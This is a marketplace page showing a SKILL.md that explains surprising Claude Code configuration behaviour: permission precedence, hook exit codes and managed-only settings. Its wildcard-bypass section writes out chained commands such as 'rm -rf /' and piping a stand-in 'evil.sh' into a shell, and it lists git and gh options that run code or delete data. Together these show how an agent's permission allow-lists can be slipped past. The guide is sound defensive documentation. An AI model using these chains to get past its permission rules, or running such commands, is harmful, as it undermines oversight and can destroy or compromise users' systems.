agentsclimarketplace

Claude code config

Skill zachmayer/skills/.claude/skills/claude-code-config

Non-obvious Claude Code config behavior: permission precedence, wildcard bypass, hook exit codes, settings scope. Use when a permission rule, hook, or settings key does not behave as written. Do NOT use for routine config edits — adding a permission, setting an env var, wiring a straightforward hook — which the built-in update-config skill handles.From its SKILL.md

Install
npx -y skills add zachmayer/skills --skill claude-code-config

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 2 stars2 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

SKILL.md

6.5 KB, as published. Nobody here has run it

Claude Code Config — the parts that surprise you

Routine edits belong to the built-in update-config skill. This file is only the behavior that contradicts what the config looks like it does. Source: the settings and hooks references.

Precedence

Two independent chains, both first-match-wins:

  • Across files: managed policy > CLI arguments > .claude/settings.local.json > .claude/settings.json > ~/.claude/settings.json
  • Within permissions: deny > ask > allow

A deny anywhere beats an allow everywhere. Debugging a rule that "doesn't work" usually means finding the higher-precedence file that shadows it.

Array settings MERGE across scopes (concatenated and deduplicated), they don't replace — a project deny list adds to the user-scope one rather than overriding it.

permissions.disableBypassPermissionsMode: "disable" blocks --dangerously-skip-permissions entirely.

Source-restricted values. Some settings are ignored from repo-controllable files: permissions.defaultMode: "auto" is honored only from managed policy, ~/.claude/settings.json, or a CLI flag — set it in a project's .claude/settings.json and it is silently dropped. Any other defaultMode value in a project file is honored and will shadow a user-scope auto.

The Bash wildcard bypass

Permission rules do prefix string matching. They do not parse shell syntax.

Bash(safe-cmd *) matches safe-cmd ; rm -rf / and safe-cmd && curl evil.sh | sh, because the string starts with safe-cmd . Wildcards are not a sandbox.

Consequences worth internalizing:

  • A "read-only" subcommand is not a safe wildcard. git log --output=<file> writes files; git -c core.pager=<cmd> log executes a command; git branch -D deletes.
  • git fetch and git pull are arbitrary code execution (--upload-pack=<cmd>, ext:: remotes).
  • gh api * cannot express "GET only" — it matches POST, DELETE, and GraphQL mutations.

Primary defense is auto mode's classifier (how it works), which judges real-world impact rather than surface text and treats && chains and write-then-execute as one action. The deny list is the second layer, for things you never want regardless of classifier judgment. Prefer exact rules over wildcards.

Edit vs Write in rule matching

Edit(path) rules govern all file-editing tools. Write(path) rules are never matched by permission checks — a Write(...) rule is dead config that looks like it works.

Scope file access with Edit(...) and Read(...).

Hook exit codes

CodeMeaning
0Success — stdout parsed as JSON
2Blocking error — stderr is fed back to Claude
otherNon-blocking — stderr only visible in verbose mode

Exit 2 is the one that matters, and what it blocks depends on the event: it rejects the tool call on PreToolUse, the prompt on UserPromptSubmit, prevents completion on TaskCompleted — and on PostToolUse it cannot block at all, it merely surfaces stderr to Claude.

Decision control is also per-event, and the shapes differ:

EventsWhere the decision goes
UserPromptSubmit, PostToolUse, PostToolUseFailure, Stop, SubagentStop, ConfigChangetop-level decision: "block" + reason
PreToolUsehookSpecificOutput.permissionDecision (allow/deny/ask)
PermissionRequesthookSpecificOutput.decision.behavior (allow/deny)
TeammateIdle, TaskCompletedexit code only
WorktreeCreateabsolute path on stdout
WorktreeRemove, Notification, SessionEnd, PreCompactside effects only

Two caveats on that table. It is sourced from the hooks reference, not the settings schema — the schema describes hook configuration only and specifies no output contract, so it cannot confirm or refute any row. And the table covers a subset: the schema's hooks key currently enumerates 31 events. The ones above plus PostToolBatch, UserPromptExpansion, SessionStart, StopFailure, SubagentStart, PostCompact, PermissionDenied, Setup, TaskCreated, Elicitation, ElicitationResult, InstructionsLoaded, CwdChanged, FileChanged, DirectoryAdded, MessageDisplay. Check the enum before assuming an event doesn't exist.

Top-level JSON fields on exit 0: continue: false stops Claude entirely (with stopReason), suppressOutput hides stdout, systemMessage warns the user.

A silent successful hook is never written to the transcript. Zero recorded runs does not mean it isn't firing — inspect the config, don't infer from logs.

Managed-scope-only settings

Exactly three keys do nothing outside managed policy. Each states the condition in its own schema description — "when true (and set in managed settings)":

KeyEffect
allowManagedHooksOnlyOnly managed hooks run; user, project, and local hooks are ignored
allowManagedPermissionRulesOnlyOnly managed permission rules apply — user, project, local, and CLI-argument rules are ignored
allowManagedMcpServersOnlyNarrower than it sounds: gates allowedMcpServers only. deniedMcpServers still merges from every source, so a user can always deny a server for themselves

Three neighbours that look like they belong here and don't — they take effect from any scope, so don't reach for them expecting an admin-only control:

KeyActual scope
disableAllHooksAny scope. Also kills statusLine execution, not just hooks
allowedHttpHookUrlsAny scope — "arrays merge across settings sources". Undefined = all URLs allowed; empty array = no HTTP hooks allowed
httpHookAllowedEnvVarsAny scope — also merges across sources. Each hook's effective allowedEnvVars is the intersection with this list

Env values don't expand

env block values in settings.json are literal — no $HOME, no ~ (anthropics/claude-code#21551, closed Not Planned). They also replace the shell's value rather than layering on it. Substitute absolute paths at install time instead.

Keep looking

Skills are one crate of 627,801. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.